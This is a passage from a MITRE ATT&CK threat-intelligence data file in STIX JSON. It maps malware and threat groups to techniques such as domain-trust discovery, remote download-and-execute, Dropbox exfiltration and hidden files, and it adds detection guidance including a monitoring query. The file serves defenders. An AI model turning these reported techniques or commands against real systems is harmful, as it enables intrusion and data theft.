2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T20:04:57.346Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) can run `C:\\Windows\\System32\\cmd.exe /c nltest /domain_trusts` to discover domain trusts.(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7d7b40a-aae7-4fbc-a1c9-f6c7b756c4dd","type":"relationship","created":"2021-09-21T21:48:15.830Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-18T13:19:48.751Z","description":"[Turian](https://attack.mitre.org/software/S0647) has the ability to use Python to spawn a Unix shell.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7e27068-7c65-45a0-968e-4871720f3348","type":"relationship","created":"2020-09-24T13:19:42.643Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.901Z","description":"[RegDuke](https://attack.mitre.org/software/S0511) can use Dropbox as its C2 server.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--47124daf-44be-4530-9c63-038bc64318dd","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7e5ffbc-d123-4f62-88eb-36b32656cd35","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco H1N1 Part 2","description":"Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities – part 2. Retrieved September 26, 2016.","url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}],"modified":"2019-04-29T18:23:16.002Z","description":"[H1N1](https://attack.mitre.org/software/S0132) contains a command to download and execute a file from a remotely hosted URL using WinINet HTTP requests.(Citation: Cisco H1N1 Part 2)","relationship_type":"uses","source_ref":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7eba275-7ec2-4233-ad23-095ddf5c74f8","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a7ec0d1d-462b-4909-acee-f2aa1f9199b1","created":"2022-09-02T20:10:18.795Z","revoked":false,"external_references":[{"source_name":"Medium Ali Salem Bumblebee April 2022","description":"Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022.","url":"https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T20:10:18.795Z","description":" [Bumblebee](https://attack.mitre.org/software/S1039) can use `LoadLibrary` to attempt to execute GdiPlus.dll.(Citation: Medium Ali Salem Bumblebee April 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7ee1099-9380-4743-ba98-6590b65420b2","type":"relationship","created":"2019-09-24T14:19:05.135Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:02.301Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has remote desktop functionality.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a7eecdbc-2e80-4c36-bbde-dbba10b60f70","created":"2024-01-22T19:13:38.347Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-22T19:13:38.347Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has used a DropBox uploader to exfiltrate stolen files.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7f5320a-dd76-4fa0-998f-44860ff1b307","type":"relationship","created":"2019-01-31T01:07:58.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:38.457Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used mshta.exe for code execution.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a7f61ae3-bbeb-40c8-86c9-bed3cf1e1953","created":"2024-02-12T20:18:24.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"},{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T20:46:46.224Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) installation includes binary code stored in a file located in a hidden directory, such as shell.txt, that is decrypted then executed.(Citation: Ensilo Darkgate 2018) [DarkGate](https://attack.mitre.org/software/S1111) uses hexadecimal-encoded shellcode payloads during installation that are called via Windows API CallWindowProc() to decode and then execute.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a7fb30f9-eb52-4706-958a-4cabe0e68e12","created":"2022-09-29T17:28:43.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T17:42:44.353Z","description":"[PowGoop](https://attack.mitre.org/software/S1046) has the ability to use PowerShell scripts to execute commands.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--c19d19ae-dd58-4584-8469-966bbeaa80e3","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7fc5d9b-7010-4bab-9e77-3b8e449a98bd","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-02-11T15:55:06.462Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) can create a Windows account.(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7fea9a4-effe-408a-b397-057a2a9cc25e","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor for newly constructed instances that may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.","source_ref":"x-mitre-data-component--b5b0e8ae-7436-4951-950a-7b83c4dd3f2c","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8024b7c-3cc9-42d2-b6df-ad1762e2d29c","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AWS GuardDuty IAM finding types","description":"AWS. (n.d.). GuardDuty IAM finding types. Retrieved September 24, 2024.","url":"https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html"},{"source_name":"Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022","description":"Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.","url":"https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:31:24.811Z","description":"Monitor the use of application access tokens to interact with resources or services that do not fit the organization baseline. For example, an application that is not meant to read emails accessing users’ mail boxes and potentially exfiltrating sensitive data, or a token associated with a cloud service account being used to make API calls from an IP address outside of the cloud environment.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) In AWS environments, configure GuardDuty to alert when EC2 instance credentials are accessed from another AWS account or an external IP address.(Citation: AWS GuardDuty IAM finding types)","relationship_type":"detects","source_ref":"x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428","target_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a802b910-b023-425a-8c09-c1b2df185812","type":"relationship","created":"2019-04-12T12:52:29.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LogRhythm WannaCry","url":"https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/","description":"Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."}],"modified":"2019-04-22T11:43:33.563Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) uses attrib +h to make some of its files hidden.(Citation: LogRhythm WannaCry)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a802d52a-01f4-44c8-b80d-d2c746e1e31d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"}],"modified":"2020-03-17T00:33:19.228Z","description":"[ChChes](https://attack.mitre.org/software/S0144) collects the victim's %TEMP% directory path and version of Internet Explorer.(Citation: FireEye APT10 April 2017)","relationship_type":"uses","source_ref":"malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a802ece1-2efd-4243-8db2-568b59a9c496","type":"relationship","created":"2021-06-21T14:32:01.402Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-21T14:32:01.402Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has resized and added data to the certificate table to enable the signing of modified files with legitimate signatures.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a804782a-fc22-43ab-a561-63007284bdf9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Catchamas April 2018","description":"Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.","url":"https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"}],"modified":"2020-03-16T16:28:15.970Z","description":"[Catchamas](https://attack.mitre.org/software/S0261) steals data stored in the clipboard.(Citation: Symantec Catchamas April 2018)","relationship_type":"uses","source_ref":"malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a805a8d5-632c-48df-909d-c3d745652475","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"}],"modified":"2021-11-01T21:12:14.698Z","description":"[BS2005](https://attack.mitre.org/software/S0014) uses Base64 encoding for communication in the message body of an HTTP request.(Citation: Mandiant Operation Ke3chang November 2014)","relationship_type":"uses","source_ref":"malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8068bc5-7382-448b-9583-1f61edb68b96","type":"relationship","created":"2019-04-16T15:21:57.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html","source_name":"FireEye TRITON 2019"},{"description":"Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019.","url":"https://dragos.com/resource/xenotime/","source_name":"Dragos Xenotime 2018"}],"modified":"2019-04-29T18:59:16.701Z","description":"(Citation: FireEye TRITON 2019)(Citation: Dragos Xenotime 2018)","relationship_type":"uses","source_ref":"intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a80751f1-8def-4415-a38b-35ceb703244c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"},{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2020-12-11T15:45:50.921Z","description":"(Citation: Talos Cobalt Group July 2018)(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8085af7-fcbb-4c1d-8eef-0ae509dac516","created":"2024-03-01T20:57:53.533Z","revoked":false,"external_references":[{"source_name":"NCSC et al APT29 2024","description":"UK National Cyber Security Center et al. (2024, February). SVR cyber actors adapt tactics for initial cloud access. Retrieved March 1, 2024.","url":"https://www.ic3.gov/Media/News/2024/240226.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T20:57:53.533Z","description":"[APT29](https://attack.mitre.org/groups/G0016) uses compromised residential endpoints as proxies for defense evasion and network access.(Citation: NCSC et al APT29 2024)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a80868e7-bdbe-4a16-b6ad-145e5f83e1ed","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T19:43:04.094Z","description":"Track changes to critical service-related files (e.g., ```/etc/systemd/system/```, ```/etc/init.d/```, and service binaries on Linux, ```C:\\Windows\\System32\\services.exe`` on Windows, or ```/Library/LaunchDaemons``` on macOS).\n\nAnalytic 1 - Unusual file modifications related to system services.\n\nsourcetype=file_monitor\n| search file_path IN (\"/etc/systemd/system/*\", \"/etc/init.d/*\", \"/Library/LaunchDaemons/*\", \"C:\\\\Windows\\\\System32\\\\services.exe\")\n ","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a80ece05-37e1-4828-a9e8-27b30524960b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"},{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-05-31T16:31:47.917Z","description":"[Bandook](https://attack.mitre.org/software/S0234) is capable of taking an image of and uploading the current desktop.(Citation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint Bandook Nov 2020)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8122755-90fe-4b68-8fa1-55ed7be90931","created":"2017-05-31T21:33:27.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Group 72","description":"Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.","url":"http://blogs.cisco.com/security/talos/threat-spotlight-group-72"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.682Z","description":"(Citation: Novetta-Axiom)(Citation: Cisco Group 72)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"malware--95047f03-4811-4300-922e-1ba937d53a61","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8126b8d-8dd7-4e12-a384-96dabb975725","type":"relationship","created":"2020-10-01T13:39:19.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-10-05T17:44:46.781Z","description":"The [TrickBot](https://attack.mitre.org/software/S0266) downloader has used an icon to appear as a Microsoft Word document.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8175a1f-5172-4d2f-9eb8-4353ef366638","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. 